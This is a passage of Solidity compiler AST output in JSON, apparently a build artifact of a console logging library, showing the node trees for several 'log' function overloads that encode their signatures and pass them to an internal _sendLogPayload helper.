memory"}],"id":25122,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13122:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13122:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25131,"nodeType":"ExpressionStatement","src":"13122:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13040:3:15","parameters":{"id":25120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25115,"mutability":"mutable","name":"p0","nameLocation":"13058:2:15","nodeType":"VariableDeclaration","scope":25133,"src":"13044:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25114,"name":"string","nodeType":"ElementaryTypeName","src":"13044:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25117,"mutability":"mutable","name":"p1","nameLocation":"13076:2:15","nodeType":"VariableDeclaration","scope":25133,"src":"13062:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25116,"name":"string","nodeType":"ElementaryTypeName","src":"13062:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25119,"mutability":"mutable","name":"p2","nameLocation":"13094:2:15","nodeType":"VariableDeclaration","scope":25133,"src":"13080:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25118,"name":"string","nodeType":"ElementaryTypeName","src":"13080:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13043:54:15"},"returnParameters":{"id":25121,"nodeType":"ParameterList","parameters":[],"src":"13112:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25153,"nodeType":"FunctionDefinition","src":"13216:168:15","nodes":[],"body":{"id":25152,"nodeType":"Block","src":"13288:96:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c29","id":25145,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13338:25:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b0e0f9b5ad960213f9ab262d120ce4ec3edffc58d1ad51b99628a777e82d8acb","typeString":"literal_string \"log(string,string,bool)\""},"value":"log(string,string,bool)"},{"id":25146,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25135,"src":"13365:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25147,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25137,"src":"13369:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25148,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25139,"src":"13373:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b0e0f9b5ad960213f9ab262d120ce4ec3edffc58d1ad51b99628a777e82d8acb","typeString":"literal_string \"log(string,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25143,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13314:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25144,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13318:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13314:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13314:62:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25142,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13298:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13298:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25151,"nodeType":"ExpressionStatement","src":"13298:79:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13225:3:15","parameters":{"id":25140,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25135,"mutability":"mutable","name":"p0","nameLocation":"13243:2:15","nodeType":"VariableDeclaration","scope":25153,"src":"13229:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25134,"name":"string","nodeType":"ElementaryTypeName","src":"13229:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25137,"mutability":"mutable","name":"p1","nameLocation":"13261:2:15","nodeType":"VariableDeclaration","scope":25153,"src":"13247:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25136,"name":"string","nodeType":"ElementaryTypeName","src":"13247:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25139,"mutability":"mutable","name":"p2","nameLocation":"13270:2:15","nodeType":"VariableDeclaration","scope":25153,"src":"13265:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25138,"name":"bool","nodeType":"ElementaryTypeName","src":"13265:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13228:45:15"},"returnParameters":{"id":25141,"nodeType":"ParameterList","parameters":[],"src":"13288:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25173,"nodeType":"FunctionDefinition","src":"13390:174:15","nodes":[],"body":{"id":25172,"nodeType":"Block","src":"13465:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c6164647265737329","id":25165,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13515:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_95ed0195ee22a092ad93d352c33e8dc78b91f0c01eab9cff270af55b2ae65768","typeString":"literal_string \"log(string,string,address)\""},"value":"log(string,string,address)"},{"id":25166,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25155,"src":"13545:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25167,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25157,"src":"13549:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25168,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25159,"src":"13553:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_95ed0195ee22a092ad93d352c33e8dc78b91f0c01eab9cff270af55b2ae65768","typeString":"literal_string \"log(string,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25163,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13491:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25164,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13495:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13491:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13491:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25162,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13475:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13475:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25171,"nodeType":"ExpressionStatement","src":"13475:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13399:3:15","parameters":{"id":25160,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25155,"mutability":"mutable","name":"p0","nameLocation":"13417:2:15","nodeType":"VariableDeclaration","scope":25173,"src":"13403:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25154,"name":"string","nodeType":"ElementaryTypeName","src":"13403:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25157,"mutability":"mutable","name":"p1","nameLocation":"13435:2:15","nodeType":"VariableDeclaration","scope":25173,"src":"13421:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25156,"name":"string","nodeType":"ElementaryTypeName","src":"13421:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25159,"mutability":"mutable","name":"p2","nameLocation":"13447:2:15","nodeType":"VariableDeclaration","scope":25173,"src":"13439:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25158,"name":"address","nodeType":"ElementaryTypeName","src":"13439:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13402:48:15"},"returnParameters":{"id":25161,"nodeType":"ParameterList","parameters":[],"src":"13465:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25193,"nodeType":"FunctionDefinition","src":"13570:163:15","nodes":[],"body":{"id":25192,"nodeType":"Block","src":"13636:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e7432353629","id":25185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13686:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c95958d6bc6e492868f9bea34fa0d5d3bf60736d44598880e7a9a99746b5d26a","typeString":"literal_string \"log(string,bool,uint256)\""},"value":"log(string,bool,uint256)"},{"id":25186,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25175,"src":"13714:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25187,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25177,"src":"13718:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25188,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25179,"src":"13722:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c95958d6bc6e492868f9bea34fa0d5d3bf60736d44598880e7a9a99746b5d26a","typeString":"literal_string \"log(string,bool,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25183,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13662:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25184,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13666:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13662:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13662:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25182,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13646:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13646:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25191,"nodeType":"ExpressionStatement","src":"13646:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13579:3:15","parameters":{"id":25180,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25175,"mutability":"mutable","name":"p0","nameLocation":"13597:2:15","nodeType":"VariableDeclaration","scope":25193,"src":"13583:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25174,"name":"string","nodeType":"ElementaryTypeName","src":"13583:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25177,"mutability":"mutable","name":"p1","nameLocation":"13606:2:15","nodeType":"VariableDeclaration","scope":25193,"src":"13601:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25176,"name":"bool","nodeType":"ElementaryTypeName","src":"13601:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25179,"mutability":"mutable","name":"p2","nameLocation":"13618:2:15","nodeType":"VariableDeclaration","scope":25193,"src":"13610:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25178,"name":"uint256","nodeType":"ElementaryTypeName","src":"13610:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13582:39:15"},"returnParameters":{"id":25181,"nodeType":"ParameterList","parameters":[],"src":"13636:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25213,"nodeType":"FunctionDefinition","src":"13739:168:15","nodes":[],"body":{"id":25212,"nodeType":"Block","src":"13811:96:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e6729","id":25205,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13861:25:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e298f47d872a89293d316b9b936000a26f83eda2ba3171b2f9f16e2bf618c3e7","typeString":"literal_string \"log(string,bool,string)\""},"value":"log(string,bool,string)"},{"id":25206,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25195,"src":"13888:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25207,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25197,"src":"13892:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25208,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25199,"src":"13896:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e298f47d872a89293d316b9b936000a26f83eda2ba3171b2f9f16e2bf618c3e7","typeString":"literal_string \"log(string,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25203,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13837:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25204,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13841:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13837:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13837:62:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25202,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13821:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13821:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25211,"nodeType":"ExpressionStatement","src":"13821:79:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13748:3:15","parameters":{"id":25200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25195,"mutability":"mutable","name":"p0","nameLocation":"13766:2:15","nodeType":"VariableDeclaration","scope":25213,"src":"13752:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25194,"name":"string","nodeType":"ElementaryTypeName","src":"13752:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25197,"mutability":"mutable","name":"p1","nameLocation":"13775:2:15","nodeType":"VariableDeclaration","scope":25213,"src":"13770:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25196,"name":"bool","nodeType":"ElementaryTypeName","src":"13770:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25199,"mutability":"mutable","name":"p2","nameLocation":"13793:2:15","nodeType":"VariableDeclaration","scope":25213,"src":"13779:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25198,"name":"string","nodeType":"ElementaryTypeName","src":"13779:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13751:45:15"},"returnParameters":{"id":25201,"nodeType":"ParameterList","parameters":[],"src":"13811:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25233,"nodeType":"FunctionDefinition","src":"13913:157:15","nodes":[],"body":{"id":25232,"nodeType":"Block","src":"13976:94:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c29","id":25225,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14026:23:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_850b7ad637241a873b861925ccffb71aaffb030b1df8850f324c9804bc7b443d","typeString":"literal_string \"log(string,bool,bool)\""},"value":"log(string,bool,bool)"},{"id":25226,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25215,"src":"14051:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25227,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25217,"src":"14055:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25228,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25219,"src":"14059:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_850b7ad637241a873b861925ccffb71aaffb030b1df8850f324c9804bc7b443d","typeString":"literal_string \"log(string,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25223,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14002:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25224,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14006:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14002:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25229,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14002:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25222,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"13986:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25230,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13986:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25231,"nodeType":"ExpressionStatement","src":"13986:77:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13922:3:15","parameters":{"id":25220,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25215,"mutability":"mutable","name":"p0","nameLocation":"13940:2:15","nodeType":"VariableDeclaration","scope":25233,"src":"13926:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25214,"name":"string","nodeType":"ElementaryTypeName","src":"13926:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25217,"mutability":"mutable","name":"p1","nameLocation":"13949:2:15","nodeType":"VariableDeclaration","scope":25233,"src":"13944:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25216,"name":"bool","nodeType":"ElementaryTypeName","src":"13944:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25219,"mutability":"mutable","name":"p2","nameLocation":"13958:2:15","nodeType":"VariableDeclaration","scope":25233,"src":"13953:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25218,"name":"bool","nodeType":"ElementaryTypeName","src":"13953:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13925:36:15"},"returnParameters":{"id":25221,"nodeType":"ParameterList","parameters":[],"src":"13976:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25253,"nodeType":"FunctionDefinition","src":"14076:163:15","nodes":[],"body":{"id":25252,"nodeType":"Block","src":"14142:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c6164647265737329","id":25245,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14192:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_932bbb385d479707ff387e3bb2d8968a7b4115e938510c531aa15b50507fc27f","typeString":"literal_string \"log(string,bool,address)\""},"value":"log(string,bool,address)"},{"id":25246,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25235,"src":"14220:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25247,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25237,"src":"14224:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25248,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25239,"src":"14228:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_932bbb385d479707ff387e3bb2d8968a7b4115e938510c531aa15b50507fc27f","typeString":"literal_string \"log(string,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25243,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14168:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25244,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14172:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"14168:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25249,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14168:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25242,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"14152:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25250,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14152:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25251,"nodeType":"ExpressionStatement","src":"14152:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"14085:3:15","parameters":{"id":25240,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25235,"mutability":"mutable","name":"p0","nameLocation":"14103:2:15","nodeType":"VariableDeclaration","scope":25253,"src":"14089:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25234,"name":"string","nodeType":"ElementaryTypeName","src":"14089:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25237,"mutability":"mutable","